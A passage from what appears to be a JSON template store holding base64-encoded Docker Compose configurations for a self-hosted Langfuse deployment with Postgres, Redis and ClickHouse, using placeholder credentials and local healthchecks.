VkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjpsYXRlc3QnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX